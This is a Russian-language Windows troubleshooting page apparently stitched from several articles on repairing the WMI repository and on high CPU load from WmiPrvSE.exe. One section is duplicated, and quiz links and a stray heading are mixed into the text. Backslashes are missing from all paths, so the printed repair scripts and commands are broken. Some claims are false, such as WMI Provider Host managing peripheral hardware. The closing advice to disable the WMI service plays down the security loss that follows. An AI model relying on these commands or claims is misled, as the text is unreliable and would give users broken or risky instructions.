Инструментарий управления windows как включить windows 7 - Доктор Windows

Любой бывалый Windows-админ периодически сталкивается с проблемами в работе службы WMI (Windows Management Instrumentation) и ее компонентах. Наличие проблем в подсистеме WMI является критичным с точки зрения нормального функционирования Windows, поэтому администратору необходимо проверить и восстановить работоспособность WMI. В этой статье мы опишем простую методику диагностирования и устранения неполадок службы WMI в Windows.

О наличии проблем с WMI может свидетельствовать широкий спектр ошибок:

Ошибки обработки WMI запросов в системных журналах и логах приложений (
0x80041002 - WBEM_E_NOT_FOUND
,
WMI: Not Found
,
0x80041010 WBEM_E_INVALID_CLASS
);
Ошибки обработки GPO, связанные на WMI ( некорректная работа wmi фильтров групповых политик, и пр.);
WMI запросы выполняются очень медленно;
Ошибки при установке или работе агентов SCCM/SCOM;
Ошибки в работе скриптов (vbs или PowerShell), использующих пространство имен WMI (скрипты с Get-WmiObject и т.д.).

Содержание:

Диагностика проблем с WMI
Исправление WMI репозитория, перерегистрация библиотек, перекомпиляция MOF файлов
Сброс и пересоздание WMI репозитория (хранилища)

Диагностика проблем с WMI

В первую очередь нужно проверить служба Windows Management Instrumentation (Winmgmt) установлена в Windows и запущена. Вы можете проверить состояние службы в консоли services.msc или с помощью PowerShell:

Get-Service Winmgmt | Select DisplayName,Status,ServiceName

Если служба Winmgmt запущена, вы можете проверить работоспособность WMI, обратившись к ней с помощью простого WMI-запроса. Вы можете выполнить wmi запрос из командной строки или из PowerShell. Например, следующая команда выведет список установленных в Windows программ:

wmic product get name,version

Простейшая PowerShell команда для получения информации о версии и билда Windows 10 через WMI может выглядеть так:

get-wmiobject Win32_OperatingSystem

Как вы видите, служба WMI ответила на запрос корректно. Если при выполнении такого WMI-запроса Windows возвращает ошибку, скорее всего сервиса WMI работает некорректно, поврежден WMI репозиторий или есть какие-то другие проблемы.

В моем случае, например, при открытии свойств WMI Control в консоли управления компьютером (compmgmt.msc) появлялась надпись:

Failed to initialize all required WMI classes
Win32_Processor. WMI: Invalid namespace
Win32_WMISetting. WMI: Invalid namespace
Win32_OperationSystem. WMI: Invalid namespace

Ранее для диагностики WMI существовала официальная утилита от Microsoft – WMIDiag.vbs (Microsoft WMI Diagnosis). WMIdiag это vbs скрипт, который проверяет различные подсистемы WMI и записывает собранную информацию в лог файлы (по умолчанию логи находятся в каталоге %TEMP% — C:USERS%USERNAME%APPDATALOCALTEMP). Получившийся отчет состоит из файлов, имена которых начинаются с WMIDIAG-V2.2 и включает в себя следующие типы фалов:

.log файлы содержат подробный отчет об активности и работе утилиты WMIDiag;
.txt файлы содержат итоговые отчеты о найденных ошибках, на которые стоит обратить внимание;
В .csv файлах содержится информация, нужная для долгосрочного анализа работы подсистемы WMI.

Совет. В 64 битных версиях Windows wmidiag нужно запускать так:

c:windowsSystem32cscript.exe wmidiag.vbs

в противном случае появится ошибка:

WMIDiag must be run from native 64-bit environment. It is not supported in Wow64.

После окончания работы утилиты WMIDiag администратор должен изучить полученные файлы логов, проанализировать и попытаться исправить найденные ошибки.

К сожалению, последняя версия WMIDiag 2.2 корректно работает только с версиями до Windows 8.1/Windows Server 2012 R2. На данный момент Microsoft даже удалила ссылку на загрузку WMIDiag из Download Center. Но при желании, этот скрипт можно найти в сети.

WMIDiag может дать подробную информацию по исправлению частных ошибок в WMI, но в большинстве случаев процесс это довольно трудоемкий и стоит потраченного времени только при решении инцидентов в критичных системах (как правило, на продуктивных серверах). Для массового сегмента рабочих станций пользователей сбросить и пересоздатьWMI репозиторий в Windows.

Исправление WMI репозитория, перерегистрация библиотек, перекомпиляция MOF файлов

В Windows 10/Windows Server 2016 вы можете проверить целостность репозитория WMI с помощью команды:

winmgmt /verifyrepository

Если команда возвращает, что база данных WMI находится в неконсистентном состоянии (INCONSISTENT или WMI repository verification failed), стоит попробовать выполнить “мягкое” исправление ошибок репозитория:

Winmgmt /salvagerepository

WMI repository has been salvaged.

Данная команда выполняет проверку согласованности хранилища WMI и при обнаружении несогласованности перестраивает базу данных WMI.

Перезапустите службу WMI:

net stop Winmgmt net start Winmgmt

Если стандартный способ исправления ошибок в WMI не помог, попробуйте следующий скрипт. Данный скрипт представляет собой ”мягкий” вариант восстановления службы WMI на компьютере (выполняется перерегистрация dll библиотек и службы WMI, перекомпилируются mof файлы). Данная процедура является безопасной и ее выполнение не должно привести к каким-либо новым проблемам с системой.

sc config winmgmt start= disabled net stop winmgmt cd %windir%system32wbem for /f %s in ('dir /b *.dll') do regsvr32 /s %s wmiprvse /regserver sc config winmgmt start= auto net start winmgmt for /f %s in ('dir /b *.mof') do mofcomp %s for /f %s in ('dir /b *.mfl') do mofcomp %s

На 64 битной версии Windows эти действия нужно также выполнить для каталога SysWOW64. Замените третью строку на

cd %windir%SysWOW64wbem

Указанные команды можно выполнить путем простой вставки в окно командой строки, либо сохранить код в bat файле wmi_soft_repair.bat и запустить его с правами администратора. После окончания работы скрипта, перезагрузите Windows и проверьте работу WMI.

Сброс и пересоздание WMI репозитория (хранилища)

Если вам не помогли мягкие способ восстановления WMI, рассмотренные выше, придется перейти к более “жесткому” способу восстановления работоспособности службы WMI, заключающегося в пересоздании хранилищаWMI.

WMI репозиторий (хранилище) находится в каталоге
%windir%System32WbemRepository
и представляет собой базу данных, в которой содержится информация о метаданных и определениях WMI классов. В некоторых случаях WMI репозиторий может содержать статическую информацию классов. При повреждении репозитория WMI, в работе службы Windows Management Instrumentation (Winmgmt) могут наблюдаться ошибки вплоть до полной невозможности ее запустить.

Если вы подозреваете, что репозиторий WMI поврежден, имейте в виду, что его пересоздание — это последняя шаг, к которому нужно прибегнуть только тогда, когда другие операции не помогают реанимировать WMI.

Следующая команда выполнит сброс базы данных WMI к исходному состоянию (как после чистой установки Windows). Используйте эту команду для выполнения hard reset репозитория WMI, если параметре salvagerepository не исправил проблему:

Winmgmt /resetrepository

Совет. На практике бывают случаи, когда пересоздание хранилища WMI приводит к проблемам со сторонним софтом. Это связано с тем, что все записи в базе WMI обнуляются (до состояния чистой системы). Такие программы скорее всего, придется переустанавливать в режиме восстановления.

Если обе команды (
Winmgmt /salvagerepository
и
Winmgmt /resetrepository
) не восстановили консистентное состояние базы WMI, попробуйте выполнить “жесткое” пересоздание базы WMI вручную таким скриптом:

sc config winmgmt start= disabled net stop winmgmt cd %windir%system32wbem winmgmt /resetrepository winmgmt /resyncperf if exist Repos_bakup rd Repos_bakup /s /q rename Repository Repos_bakup regsvr32 /s %systemroot%system32scecli.dll regsvr32 /s %systemroot%system32userenv.dll for /f %s in ('dir /b *.dll') do regsvr32 /s %s for /f %s in ('dir /b *.mof') do mofcomp %s for /f %s in ('dir /b *.mfl') do mofcomp %s sc config winmgmt start= auto net start winmgmt wmiprvse /regserver

На 64 битной версии Windows нужно также перерегистрировать dll/exe и перекомпилировать mof файлы в каталоге %windir%sysWOW64wbem.

Данный скрипт полностью пересоздает хранилище WMI (старый репозиторий сохраняется в каталог Repos_bakup). После окончания работы скрипта нужно перезагрузить Windows. Затем протестируйте работу службы WMI простым запросом.

Проверьте состояние WMI репозитория. Если ошибки исправлены, команда
winmgmt /verifyrepository
должна вернуть:

WMI repository is consistent

В этой статье мы собрали основные способы, позволяющие продиагностировать и устранить неполадки службы и репозитория WMI.

Источник

О наличии проблем с WMI может свидетельствовать широкий спектр ошибок:

Ошибки обработки WMI запросов в системных журналах и логах приложений (
0x80041002 - WBEM_E_NOT_FOUND
,
WMI: Not Found
,
0x80041010 WBEM_E_INVALID_CLASS
);
Ошибки обработки GPO, связанные на WMI ( некорректная работа wmi фильтров групповых политик, и пр.);
WMI запросы выполняются очень медленно;
Ошибки при установке или работе агентов SCCM/SCOM;
Ошибки в работе скриптов (vbs или PowerShell), использующих пространство имен WMI (скрипты с Get-WmiObject и т.д.).

Содержание:

Диагностика проблем с WMI
Исправление WMI репозитория, перерегистрация библиотек, перекомпиляция MOF файлов
Сброс и пересоздание WMI репозитория (хранилища)

Диагностика проблем с WMI

Get-Service Winmgmt | Select DisplayName,Status,ServiceName

wmic product get name,version

Простейшая PowerShell команда для получения информации о версии и билда Windows 10 через WMI может выглядеть так:

get-wmiobject Win32_OperatingSystem

Failed to initialize all required WMI classes
Win32_Processor. WMI: Invalid namespace
Win32_WMISetting. WMI: Invalid namespace
Win32_OperationSystem. WMI: Invalid namespace

.log файлы содержат подробный отчет об активности и работе утилиты WMIDiag;
.txt файлы содержат итоговые отчеты о найденных ошибках, на которые стоит обратить внимание;
В .csv файлах содержится информация, нужная для долгосрочного анализа работы подсистемы WMI.

Совет. В 64 битных версиях Windows wmidiag нужно запускать так:

c:windowsSystem32cscript.exe wmidiag.vbs

в противном случае появится ошибка:

WMIDiag must be run from native 64-bit environment. It is not supported in Wow64.

Исправление WMI репозитория, перерегистрация библиотек, перекомпиляция MOF файлов

В Windows 10/Windows Server 2016 вы можете проверить целостность репозитория WMI с помощью команды:

winmgmt /verifyrepository

Winmgmt /salvagerepository

WMI repository has been salvaged.

Перезапустите службу WMI:

net stop Winmgmt net start Winmgmt

На 64 битной версии Windows эти действия нужно также выполнить для каталога SysWOW64. Замените третью строку на

cd %windir%SysWOW64wbem

Сброс и пересоздание WMI репозитория (хранилища)

Winmgmt /resetrepository

Проверьте состояние WMI репозитория. Если ошибки исправлены, команда
winmgmt /verifyrepository
должна вернуть:

WMI repository is consistent

Всем привет! Неважно какой Windows вы пользуетесь (10, 11, 7, 8, 8.1 или XP) – почти у каждой в диспетчере задач может висеть процесс WMI Provider Host или утилита WmiPrvSE.exe. И ладно бы просто висел, так это ПО сильно нагружает компьютер или ноутбук. На мощных ПК это несильно заметно, но вот на слабом компе вы можете заметить лаги, тормоза, а некоторые программы, в том числе и браузер – начинают работать с запозданием. В статье ниже мы разберемся, что это за процессы, и что с ними можно сделать.

Содержание

Что это такое?
Можно ли отключить или удалить эту функцию?
Что делать если она сильно грузит систему?
Задать вопрос автору статьи

Что это такое?

WmiPrvSE.exe и WMI Provider Host – это два важных процесса в системе, а точнее функции, которые занимаются обменом информацией между ядром операционной системы и работающими программами, утилитами и функциями. Причем тут имеется ввиду как установленные программы, так и системные, которые не находятся в поле ядра ОС.

Как правило, они почти не активны, когда человек не пользуется компьютером, а система простаивает. Но бывают и обратные случаи, когда системник или ноутбук начинает жужжать в момент простоя. Вообще все утилиты, имеющие приставку WMI – это те программы, которые обмениваются данными с системой.

Например, о загруженности процессора, о занятости оперативной памяти и файла подкачки. Также они получают информацию о характеристиках компа и железа. Например, если запустить командную строку, то с помощью команд:

wmic baseboard get manufacturer
wmic baseboard get product

Вы можете получить информацию о производителе и модели вашей материнской платы. С помощью этой утилиты и программы получают эту информацию.

Можно ли отключить или удалить эту функцию?

Утилита WmiPrvSE.exe находится в папке System32 на системном диске:

C:WindowsSystem32wbem

Удалять её или выключать в диспетчере устройств я не рекомендую – так как она активно используется системой и программами. Без неё комп будет функционировать неправильно.

Что делать если она сильно грузит систему?

Нужно в первую очередь понять, в какой момент система нагружается, и каким образом оба этих процесса пожирают возможности ПК. Если система нагружается, только в момент запуска какой-то программы или игры – то это нормально. В момент загрузки утилита собирает информацию о железе, о системе и отдает в «руки» запущенной программе.

Но вот если нагрузка постоянная или длится долгое время – то нужно попытаться что-то сделать. Можно попробовать перезапустить службу «Инструментарий управления Windows», которая и работает с данной утилитой.

Жмем:

+ R

Вводим:

services.msc

Находим службу, жмем правой кнопкой и перезапускаем.

Можно также просто попробовать перезагрузить компьютер. Если это не поможет, то можно посмотреть, какая программа вызывает нагрузку на нашу системную утилиту. Возможно, где-то идет постоянно повторяющийся цикл в функции запроса:

Откройте «Просмотр событий».

Открываем основной раздел – «Журналы приложений и служб», находим в нем «Microsoft» — «Windows». Теперь нам нужна папка «WMI-Activity». В ней находим лист с информацией «Operational». Обычно загруженность процесса выдает ошибки – найдите последние по дате и раскройте информацию. На вкладке «Подробности» нам нужно узнать «ClientProcessID».

На вкладке «Процессы» нажмите правой кнопкой по первому столбцу «Имя» и поставьте галочку «ИД процесса».

Появится новый столбец, чтобы было проще найти проблемную программу по ID, один раз кликните по названию столбца, чтобы отсортировать список по возрастанию или убыванию.

Как только процесс будет найден, уже отталкиваемся от этого. Если это сторонняя программа, то её можно удалить и переустановить повторно. Советую скачивать это ПО с официального сайта. Можно также попробовать его обновить.

Если это процесс Svchost.exe, тогда читаем инструкцию – что делать если Svchost.exe грузит компьютер.

Если ничего не помогает, то вот ряд профилактических действий, которые должны помочь:

Выполните откат системы, если данная проблема появилась после установки дров или программ.
Почистите компьютера от мусора и лишнего кеша.
Проверьте компьютер антивирусной программой.
Проверьте на целостность и работоспособность ваш жесткий диск (SSD/HDD)
Выполните проверку оперативной памяти.
Проверьте системные файлы на целостность.

Если вообще ничего не помогло, тогда напишите в комментариях – какой процесс вызывает нагрузку (WMI Provider Host или WmiPrvSE.exe). На этом я с вами прощаюсь. До встречи на портале WiFiGiD.RU.

Каждую минуту ваше устройство выполняет ряд процессов, о которых вы даже не подозреваете. Один из них – wmiprvse.exe, он работает в фоновом режиме и может заметно потреблять мощность ПК и его оперативку.

В этой подробной инструкции вы узнаете все о процессе WmiPrvSE.exe., а именно: что это за процесс, для чего он нужен и что делать, если wmi provider host загружает процессор.

Содержание

Подробно о процессе WMI Provider Host
3 причины из-за чего процесс Wmiprvse.exe грузить процессор
Перезапуск системы
Сканирование на вирусы
Ищем программу, которая грузит процессор через процесс Wmiprvse.exe
Второй способ узнать, какое приложение запускает нагрузку на процессор
Откат обновления
Проверка устройств

Задача WMI Provider Host является системным процессом для обеспечения связи и корректной работы программам. Благодаря ему утилиты получают нужные данные и параметры о системе. Если все происходит в штатном режиме и нет никаких ошибок или сбоев, то процесс wmiprvse exe, не мешает оптимальной работе устройства.

Ею же вы пользуетесь, когда через CMD узнаете определенные характеристики компонентов ПК или операционки. Поэтому деактивировать или вовсе стереть процесс не получится.

Однако, если WMI Provider Host грузит процессор Windows 10, можно оптимизировать работу устройства другими способами. О них мы поговорим ниже.

https://programmainfo.ru/test/volga-ili-pobeda-a-ty-znakom-s-sovetskim-avtopromom-prover-sebya-v-uvlekatelnom-teste

3 причины из-за чего процесс Wmiprvse.exe грузить процессор

WMIPrvSE в большинстве ситуаций функционирует корректно. Его даже не всегда можно увидеть в «Диспетчере задач».
Однако в некоторых случаях, другие факторы влияют на загрузку системы и процессора этой задачей.

Это могут быть вновь подключенные устройства. Из-за которых произошел сбой в работе процесса.
Установка новой версии Windows.
Программы, отвечающие за работу процессора, видеокарты и некоторые другие.

Обращаем ваше внимание, что скорее всего в ближайшее время нагрузка пройдет самостоятельно. Все процессы дополнительные завершаться и WMIPrvSE будет работать в штатном режиме.

Однако, если ничего не помогает и ни одну из причин у вас на ПК вы не обнаружили, советуем детально изучить инструкции ниже и деактивировать эту функцию системы.

Перезапуск системы

Самое простое, что вы можете сделать – это перезапустить WMIPrvSE. Часто проблема уходит после этого.

Для того, чтобы устранить эту проблему, вам нужно:

Одновременно нажимаете «Win+R»
Скопировать и вставить отсюда команду: services.msc.
В списке ищите строку “Windows Management Instrumentation Service”, также она может называться “Инструментарий управления Windows”.
ПКМ жмете на нее и кликаете по параметру «Перезапустить».

https://programmainfo.ru/test/otlichish-krinzh-ot-krasha

Сканирование на вирусы

Если WMI Provider Host грузит процессор в Windows 10, то нельзя забывать и о том, что процесс может быть заражен вирусом. Часто вирусы принимают имена базовых задач системы.

Чтобы проверить это, можно узнать его месторасположение. Если это системный процесс и он не заражен, то адрес будет такой:

C:WindowsSystem32
C:WindowsSystem32wbem

Для того, чтобы это проверить, вам нужно:

Одновременно жмете «Shift+Ctrl+Esc»
Ищите строку с нужным процессом и кликаете ПКМ по нему.
Выбираете параметр «Открыть расположение файла».
Сверяете его с указанным выше путем. Если они отличаются, то стоит проверить ПК на вирусы.

Рекомендуем проводить антивирусные проверки регулярно, тогда вы сможете добиться оптимальной работы устройства, системы и всех приложений.

https://programmainfo.ru/test/kakoy-ty-instrument

Ищем программу, которая грузит процессор через процесс Wmiprvse.exe

Инструмент «Просмотр событий» позволяет понять, какая из установленных программ вызывает нагрузку процессора и всей системы. Для того, чтобы найти и снизить активность процесса “wmiprvse exe”, вам нужно:

Одновременно жмете «Win+R»
В окне “Выполнить” введите команду: eventvwr.msc.
Переходите по каталогам: «Журналы приложений и служб»-«Microsoft»-«Windows»-«WMI-Activity»-«Operational».
Изучаете открывшиеся окно. Здесь важно проверить все строки со значением «Ошибка». Важно помнить, что часть из них есть и при стандартной работе процесса.
Кликаете по каждой ошибке и запоминаете значение графы: «ClientProcessID».
Нажатием «Shift+Ctrl+Esc»
В «Диспетчер задач» перейдите во вкладку «Подробности» и в столбце ИД найдите тот же номер, который был указан в ошибке.

Так вы узнаете, какая программа нагружает процессор через процесс Wmiprvse.exe

https://programmainfo.ru/test/3569

Второй способ узнать, какое приложение запускает нагрузку на процессор

Как уже указывалось выше данный процесс не может самостоятельно так сильно нагружать процессор. Если это происходит, возможно какая-то программа работает некорректно и провоцирует сбои в работе данного сервиса.

Для того, чтобы процесс Wmiprvse.exe не нагружал процессор, вам нужно:

Одновременно нажать «Win+R» и прописать команду: Msconfig
В окне ищите столбец с названием «Службы» и активируете параметр «Не отображать службы Майкрософт».
Все остальные можете отключить с помощью специальной клавиши.
Нажатием «Shift+Ctrl+Esc» и в открывшемся окне перейдите во вкладку «Автозагрузка».
Деактивируете все утилиты.
Сохраняете настройки и перезапускаете систему.

Подробнее: полное отключение программ из автозагрузки (для пользователей Windows 7/10)

Если ПК стал работать корректно, то причиной, как вы и предполагали, является одно из приложений. Чтобы определить какое – нужно поочередно отключать их.

Советуем перед этим детально изучить список программ и, возможно, часть из них вам не нужно, поэтому их можно будет удалить и после проводить проверку.

https://programmainfo.ru/test/dengi-umeesh-li-ty-s-nimi-druzhit

Откат обновления

Проблема может возникнуть из-за установки последних обновлений. Чтобы проверить эту версию, нужно просто проводить постепенный возврат к предыдущим и проверять корректность функционирования устройства.

Для того, чтобы процес WMIPrvSE не грузил процессор, нужно:

Нажать сочетание клавиш Win + I
Нажмите на «Обновления и безопасность»
Нажмите на «Центр обновления Windows», затем выбираете строку «Просмотреть журнал обновлений».
Далее жмете на параметр «Удалить обновления».
Поочередно удаляете последнее и проверяете корректность работы ПК (для этого после каждого отката лучше проводить перезапуск Винды).

https://programmainfo.ru/test/m-ili-zh

Проверка устройств

Выше мы рассматривали, как исключить возникновение ошибки из-за какого-либо процесса, вызванного работой того или иного приложения или программы. Теперь расскажем о том, как установить проблемы с подключенным оборудованием. Оно также часто становится причиной большой нагрузки на процессор от данной задачи.

Необходимо открыть «Диспетчер устройств».
Проверяем каждое устройство (вначале недавно установленные). Для этого ПКМ жмете на оборудование и выбираете параметр: «Отключить устройство».
Проверяете нагрузку на систему. Продолжаете эту последовательность до тех пор, пока не найдете причину.
Чтобы исправить ситуацию, советуем обновить дрова для устройства, которое вызывает торможение системы.

Подробнее: правильное обновление драйверов программ

https://programmainfo.ru/test/kto-vy-v-mire-vedmaka

Итак, мы рассказали о происхождении и особенностях процесса WMIPrvSE. О том, как найти причину излишней нагрузки на систему со стороны процесса “Wmi provider host”.

Советуем вам последовательно проверять причины возникновения сбоя в работе ПК и в зависимости от нее устранить ошибки.

Скворцов Михаил

Специалист программирования компьютерных систем и устройств на базе ОС «Android»

Задать вопрос эксперту

Процесс VMI Provider Host (WmiPrvSE.exe) создает высокую загрузку процессора в Windows 10? На самом деле WmiPrvSE указывает на службу поставщика инструментария управления Windows, которая иногда постоянно использует ресурсы вашей системы. Необычное поведение процесса делает ПК медленным. Проблема WmiPrvSE.exe в основном возникает, когда служба не соответствует шаблонам, для которых она предназначена. Однако эта конкретная служба WmiPrvSE, используется разработчиками для целей мониторинга и в большинстве случаев сталкивается с производственной средой после обновления с Windows 7 до 10. Обычно пользователи часто открывают диспетчер задач и пытаются выяснить, в чем заключается проблема. Первое, что они делают, это проверяют запущенные процессы в диспетчере задач и пытаются найти причину проблемы. Итак, давайте разберем способы, как исправить высокую загрузку ЦП.

Начнем с того, что WMI Provider Host – это никакой ни сторонний компонент, а штатный системный процесс Windows, управляющий подключениями оборудования. В список такого оборудования входят внешние жесткие диски, принтеры и сканеры, флеш-накопители, мыши и клавиатуры и т.п., но не встроенные элементы, как то видео- и аудиокарты. Процесс также участвует в получении информации о работе Windows различным программным обеспечением и административными скриптами.

Источником процесса WMI Provider Host является исполняемый файл wmiprvse.exe, расположенный в папке C:/Windows/System32/wbem или C:/Windows/SysWOW64/wbem в 64-битных системах.

Процесс не является критическим, поэтому его можно завершить принудительно через Диспетчер задач. Однако подобное отключение на постоянной основе нежелательно, так как может нарушить работу подсоединяемых устройств вплоть до того, что компьютер перестанет их распознавать.

Что это за файл

WmiPrvSE.exe – это исполняемый файл утилиты поставщика инструментария управления WMI Provider Host для Windows. Он является одним из компонентов управления веб-сервером Microsoft (WBEM) и Microsoft Operations Manager (MIM). С помощью утилиты, программы и скрипты могут получить данные о внутреннем состоянии операционной системы. В Windows также внедрены WMI-провайдеры, которые позволяют выполнить соединение с интернетом, получить настройки DNS, а также отслеживать функции и сообщать о критических ошибках.

Исполняемый файл лежит в директории «system32wbem», запускается из-под svchost.exe, имеет права «NETWORK SERVICE».

Подведем итог — WmiPrvSE.exe является безопасным системным процессом, который необходим для нормального функционирования операционной системы. Приостановка его работы или отключение нежелательно, но критических сбоев не будет.

Как видно на скриншоте, стандартно системной активности процесс WmiPrvSE.exe практически не вызывает.

Если файл не является вирусом, то грузить процессор он может в случае обращения к нему какого-либо софта, который использует функции WMI. Например, подобная ситуация возникает, когда загруженность ЦПУ обусловлена работой «NB Probe Application» — это утилита Asus для получение температурных данных ядер процессора, оборотов кулера и состоянии других аппаратных компонентов.

Почему WMIPrvSE.exe начинает сильно грузить процессор и как выявить источник

Что это за процесс wmiprvse.exe выяснили, теперь рассмотрим примеры, когда он может начать нагружать процессор. В обычном состоянии WMI Provider Host если и грузит ЦП, то длится это недолго и по завершении сбора данных он либо завершает работу, либо продолжает оставаться активным, потребляя совсем немного ресурсов. Но при определенных обстоятельствах процесс может начать грузить ЦП основательно и постоянно. Такое возможно при:

Подключении нового оборудования, драйвера которого работают некорректно;
Установке программного обеспечения, не оптимизированного должным образом под используемую версию ОС или работающего неправильно;
Активной процедуре обновления Windows;
Обновлении сторонних программ или установленных ими в систему драйверов;
Работе любых программ, создающих повышенную нагрузку на видеокарту;
Вирусной активности.

Что это и для чего

Итак, «WMI Provider Host» – это процесс, запускаемый исполняемым файлом «WmiPrvSE.exe», предназначенный для централизованного управления подключаемого внешнего оборудования. Присутствует он во всех версиях Windows, носит практически одно и то же название и является важнейшей составляющей для корректного функционирования компьютера, а, следовательно, его завершение или удаление крайне нежелательно и может привести к негативным последствиям. При нормальной/штатной работе операционной системе «WMI Provider Host» не оказывает никакого влияния на быстродействие системы, и порой действительно на небольшой промежуток времени при определённых запросах он может активироваться, но при этом его влияние на «ЦП» равняется или приближается к нулю.

Следовательно, если «WMI Provider Host» длительное время «висит в лидерах» по нагрузке «ЦП», то уже указывает на возникновение неполадок в штатной работе операционной системы Windows, которые и требуется решить для минимизирования зависаний. А принимая во внимание смысл существования и работы «WMI Provider Host», можно выделить следующие «безобидные» причины возникновения рассматриваемой проблемы:

подключено новое устройство/оборудование;
активирован процесс автоматической установки или обновления драйверов программного обеспечения подключенного устройства;
одновременная установка программного обеспечения, связанного с работой какого-либо устройства;
скрытое обновление операционной системы;
чрезмерная нагрузка на видеоадаптер в результате активации различных визуальных эффектов.

Проверка стороннего ПО и периферии

Универсального способа, позволяющего устранить неполадку, не существует, а потому проблема решается методом исключения возможных причин. Если процесс WMI Provider Host сильно грузит процессор после установки какого-нибудь приложения, попробуйте запустить его в режиме совместимости с более ранней версией системы или удалить. Деинсталлируйте накопительное обновление или выполните откат системы, если процесс стал вести себя некорректно.

Если полагаете, что источником проблемы стало устройство, отключите его и проверьте работу системы. Можно также обновить/откатить драйвера устройства, так как чаще всего неполадки возникают именно при некорректной работе ПО. Не знаете, какое устройство стало причиной загрузки процессора WMI Provider Host? Откройте Диспетчер устройств и попробуйте последовательно отключить мышь, USB-устройства ввода, принтер, сканер, веб-камеру и прочие внешние девайсы, каждый раз проверяя поведение wmiprvse.exe.

В случае обнаружения проблемного устройства пробуем откатить или, напротив, обновить его драйвера.

Откат обновлений системы

Сбои при установке обновлений могут стать причиной нестабильной работы wmiprvse.exe. Для решения проблемы потребуется выполнить откат обновлений в хронологическом порядке, пока не будет найден тот элемент, который вызывает нарушения в работе ОС.

Выполняем откат обновлений для Windows (способ актуален для версий ОС Windows 7 и выше):

открываем «Панель управления» и переходим к пункту «Программы и компоненты»;
в левой части окна выбираем «Просмотр установленных обновлений»;
откроется список установленных компонентов, в столбце «Установлено» можно узнать дату загрузки;
выделяем первый элемент щелкая по нему правой кнопкой мыши (ПКМ) и в контекстном меню, выбираем «Удалить». Перезагружаем ПК и проверяем работоспособность, при сохранении проблемы повторяем операцию.

Исключение служб

Обязательно проверьте влияние сторонних служб. Откройте командой msconfig утилиту «Конфигурация системы», перейдите на вкладку «Службы», установите галочку в чекбоксе «Не отображать службы Microsoft», а затем отключите все оставшиеся службы и перезагрузитесь.

Если проблема исчезла, значит, очевидна вина одной из фоновых служб. Включайте их одну за другой и проверяйте по ходу дела корректность работы процесса wmiprvse.exe. Те же самые действия рекомендуется проделать с автозагрузкой в Диспетчере задач.

Проверяем компьютер на вирусы

Если никакие способы не привели к снижению нагрузки процесса WMI Provider, то в этом случае можно подозревать вирусную активность. Одноименный вирус «wmiprvse.exe» вносит изменения в настройки DNS, а также изменяет файл Hosts. В этом случае пользователь не только сталкивается с нестабильным функционированием ОС, но и с проблемами доступа к интернету.

Необходимо убедиться, что перед нами действительно вредоносная программа:

переходим в «Диспетчер задач» запустив его сочетанием клавиш «Ctrl+Shift+Esc»;
выбираем процесс «WmiPrvSE» и щелкаем по нему ПКМ, в контекстном меню кликаем «Открыть расположение файлов»;
откроется проводник, где будет показана директория в которой расположен файл. По умолчанию путь к директории выглядит так: «C (буква системного диска может отличаться): /Windows/System32/wbem». Если путь отличается — можно сделать вывод, что это вирус. Для дополнительной диагностики, проверим свойства файла;
щелкаем ПКМ по «WmiPrvSE» и в контекстном меню выбираем «Свойства». Во вкладке «Подробно» обращаем внимание на пункт «Авторские права», должно быть указано «Корпорация Майкрософт», если написано иное, переда нами вредоносное ПО замаскированное под системный компонент.

Не изменяется язык на компьютере или ноутбуке

Очистку системы от вирусов производим с помощью антивирусного программного обеспечения установленного на ПК. Для эффективного обнаружения потребуется запустить глубокую проверку системы.

Если антивируса нет, можно скачать утилиту Dr.Web Cureit или Kaspersky Virus Removal Tool.

Отслеживание проблемного процесса

Знать что такое WMI Provider Host недостаточно, нужно еще уметь идентифицировать обращающиеся к нему прочие процессы. Это важно, поскольку при запрашивании сторонним процессом большого объема информации у WMI-поставщика, в данном случае у wmiprvse.exe, последний станет создавать повышенную нагрузку. Откройте командой eventvwr.msc Журнал событий Windows, в меню «Вид» включите «Отобразить аналитический и отладочный журналы», а потом перейдите слева к настройке Журналы приложений и служб – Microsoft – Windows – WMI-Activity. Кликните ПКМ по элементу «Trace» и выберите «Включить журнал».

После сохранения настроек и обновления логов через некоторое время в средней колонке Журнала событий появятся записи, среди которых вам нужно найти строки с параметром ClientProcessId. Значение этого параметра как раз и будет идентификатором того процесса, который обращается к wmiprvse.exe. Зная ID, вы легко сможете определить исполняемый файл процесса в Диспетчере задач, переключившись на вкладку «Подробности».

Есть также другой очень похожий способ поискать обращающийся к WMI-поставщику процесс. Вместо элемента «Trace» в разделе WMI-Activity выберите «Operational» и изучите последние записи с уровнем «Ошибка». На вкладке «Общие» также ищем параметр ClientProcessId, смотрим его идентификатор и определяем по нему процесс в Диспетчере задач.

Определили и что делать дальше? Это уже совсем другой вопрос. Причины некорректной работы процессов могут быть самые разные, и если они принадлежат сторонним приложениям, попробуйте для начала их переустановить. В том случае, если вы имеете дело с некритичным системным процессом, можно попробовать отключить его автозагрузку в реестре.

Что в этом случае можно сделать?

Самое главное, человеку нужно найти настоящий источник поломки. Вначале рекомендуется просканировать систему антивирусом, чтобы убрать вариант вирусной атаки. Можно применить два следующих антивируса. Вначале Malwarebytes, затем DrWeb Curelt.

Правда, программа Malwarebytes стала платной. Но, у неё есть бесплатная Демо версия, которой достаточно, чтобы исправить положение. DrWeb Curelt утилита бесплатная. Скачайте данные программы и запускайте (по одной). Затем, начинаете тщательное сканирование. После этого, вам нужно перезагрузить ПК и узнать, сохранилась ли сложность с работой этого процесса, или она исчезла?

Кроме этого, желательно активировать диспетчер задач нажав Alt+Ctrl+Del и в перечне элементов поискать самый ресурсоёмкий. Затем, нажимаем на него правой клавишей мыши. В ниспадающем меню нужно нажать «Открыть расположение файла».

В случае, если открывшейся элемент будет расположен не в папочке Windows / System32 (System), то это значит, что данном файле есть встроенный вирус. Тогда начинаем тщательное сканирование нашими двумя антивирусами.

Как полностью отключить службу, и какие последствия могут быть

Итак, теперь вы в курсе, что это wmiprvse.exe, для чего нужен этот процесс и что может вызвать его повышенную активность. Знаете также, какие действия следует предпринять с целью выяснения причин подобной активности. Но это еще не всё. Если WMI Provider Host грузит процессор по-прежнему, допустимо принять радикальную меру – остановить его службу. Для этого запустите командой services.msc оснастку управления службами, найдите в списке службу «Инструментарий управления Windows», откройте ее свойства, в диалоговом окошке тип запуска выберите «Отключена», а затем нажмите «Остановить» и «Применить».

При этом Windows сообщит, что будут также остановлены Центр безопасности и Вспомогательная служба IP. Как следствие, уровень безопасности системы будет снижен, и она станет более подверженной внешним угрозам, впрочем, если вы используете сторонний антивирус, предупреждением можно пренебречь.

